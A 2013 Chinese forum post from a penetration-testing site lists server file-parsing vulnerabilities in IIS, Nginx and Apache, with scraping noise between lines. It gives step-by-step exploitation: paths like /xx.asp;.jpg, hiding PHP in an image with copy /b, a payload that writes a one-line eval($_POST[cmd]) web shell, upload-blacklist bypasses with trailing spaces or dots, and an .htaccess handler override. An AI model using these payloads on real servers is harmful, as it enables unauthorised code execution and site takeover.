中国网络渗透测试联盟
标题:
常见服务器解析漏洞总结
[打印本页]
作者:
admin
时间:
2013-4-19 19:14
标题:
常见服务器解析漏洞总结
Author : laterain
" i0 m8 s" R- k+ F
[+]IIS6.0
, E' N9 @, m1 s) a% l6 f7 a9 W( p. W
6 X2 N5 g9 @& J/ M k+ O0 `" L
目录解析：/xx.asp/xx.jpg
2 {: |5 y7 l$ h9 m: Q5 K
xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
. e! S8 Q- q: g) S/ Q3 Z
IIS6.0 会将 xx.jpg 解析为 asp 文件。
( B5 ?# k( r2 v* O' O2 e0 z0 S: O
后缀解析：/xx.asp;.jpg
4 z5 E6 ^4 J; r' V+ O$ k
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
" K( w) W1 k0 m! P* |* w7 |% C; W
默认解析：/xx.asa
4 w) q. J Z7 P1 N! q7 m3 X
/xx.cer
/ c Z7 Z Z5 U. F
/xx.cdx
5 U$ H- P1 q' \% [( |2 p
IIS6.0 默认的可执行文件除了 asp 还包含这三种
: f! m+ ]4 t2 k# C0 X0 V. `3 N& e
此处可联系利用目录解析漏洞
+ \ c- R2 k! F' g: G$ h
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
) b! d% B2 u1 C% x; v1 N0 p: Z
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
# o; ~! |8 ^& S( y* J
6 ]0 z& p, W2 q% C6 \
IIS 7.0/IIS 7.5/Nginx <0.8.03
1 ]+ [/ V9 h/ ^; B' N* G" |; {. h
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
% f* x' j1 T" v% { ^& F5 E
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
& H- r0 j/ i( G% g2 K' |& L
常用利用方法：
" O; \ {) p5 J8 E2 F W' N7 p
将一张图和一个写入后门代码的文本文件合并将恶意文本
2 G$ E- R2 I! R/ Q9 g5 j. E
写入图片的二进制代码之后，避免破坏图片文件头和尾
2 ~7 b r. c: E5 t: N
如：
2 Z9 G& Q% M6 g* U% p% a+ u
copy xx.jpg /b + yy.txt/a xy.jpg
F1 R9 i/ \; ]) G/ Y# V, Y
#########################################################
2 L9 g. s; b4 ]
/b 即二进制[binary]模式
7 T$ @) `4 J! U% {0 t4 u
/a 即ascii模式
4 q: ?0 h2 a/ P c+ ^) U! F
xx.jpg 正常图片文件
/ h3 v; B' j2 u* o
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
5 z5 I# {/ N# v# C
'<?php eval($_POST[cmd])?>');?>
: v& P, _% G/ x; H: o* A5 \
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
. j W- B0 k3 }0 w& P2 b/ J
为shell.php的文件
* s& D) T) N- _9 r
###########################################################
2 [+ m0 F( @' F R* P
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
, \9 ^2 c6 C; g {3 j3 S6 g
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
- z' I8 ]9 ?- W0 v' X' E' A4 A/ j* T
密码 cmd
* S+ r# h3 e: y+ k% D! K: ~4 j
[+]Nginx <0.8.03
6 _2 i9 Z+ W/ C; ^& p
9 ^( d) P8 {$ L
在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
' W5 w) x4 k7 @9 N
在一个文件路径(/xx.jpg)后面加上%00.php
' A( B, c/ F/ C7 a& Z
会将 /xx.jpg%00.php 解析为 php 文件。
9 S/ _4 J& S. V# w0 N2 O
[+]Apache<0.8.03
m1 Y/ v5 o; k6 O
* A# E0 C* S8 {" X( ?* ^
后缀解析：test.php.x1.x2.x3
$ Y* K1 a$ f8 H; U Z, k
Apache将从右至左开始判断后缀，若x3非可识别后缀，
0 S5 Z4 Q/ t2 V8 s6 [ h
再判断x2，直到找到可识别后缀为止，然后将该可识别
1 B% ~# e0 A: F6 N# X& ~$ R# ~
后缀进解析test.php.x1.x2.x3 则会被解析为php
. j0 t3 {/ h% v) [: G9 _" @
经验之谈：php|php3|phtml 多可被Apache解析。
0 \2 I5 a8 C# m$ a4 E
[+]其他一些可利用的
# K# y$ o7 n: x/ C, `+ P8 N, k0 [6 x
0 D3 W8 r6 j. ~, S% E" b
在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
, d5 M' _0 T- p2 S. ?
若这样命名，windows会默认除去空格或点，这也是可以被利用的！
' L/ q" R/ o; Y' G! o# h& G
在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
2 S0 | n+ s) z4 r/ n# [3 |; p1 ^
或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
9 B. c2 D& x4 ?
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
, j3 G" X7 j e e/ H8 }
{Linux主机中不行，Linux允许这类文件存在}
& ~# Y o4 j9 E
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
: m) b, c6 B$ y- A( C
的，当初我并不知道），且可以被上传，那可以尝试在
7 G+ m0 w- _# Q. G
.htaccess中写入:
5 N- K0 T5 a2 s( B
<FilesMatch “shell.jpg”>
P G. ~; W4 z) g9 S
SetHandler application/x-httpd-php
, g6 N: w" P7 v7 c- Q3 [2 [% y0 S
</FilesMatch>
( g7 g% k) ^) o1 i" q5 ^! G
shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
8 j4 z& g# r' g2 }6 ?; l
[+]错误修改
* t" L& w- U0 E
: O* v) ]3 E& A t! v7 T
在 IIS 6.0 下可解析 /xx.asp:.jpg
. @3 z5 Y1 a; s1 O: ]
{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
9 ~+ f9 K( R* k* D9 V1 q0 m1 Q
剩下/xx.asp}修改：
1 _2 x9 }3 ]: d# e2 n' l
先谢谢核攻击的提醒
5 Y @6 g- ? O& W, q
当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
* ^2 Z5 F9 r, a7 ]! B( h. a
里是没有任何内容的，因为。。不好解释 大家自己看
$ U0 f1 E$ b) L4 Y) o T; F/ {& J
http://lcx.cc/?i=2448
! o w M3 i w! V
http://baike.baidu.com/view/3619593.htm
# F! t: I8 |8 s
' y8 J0 c6 o) c# c" s8 o; R
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2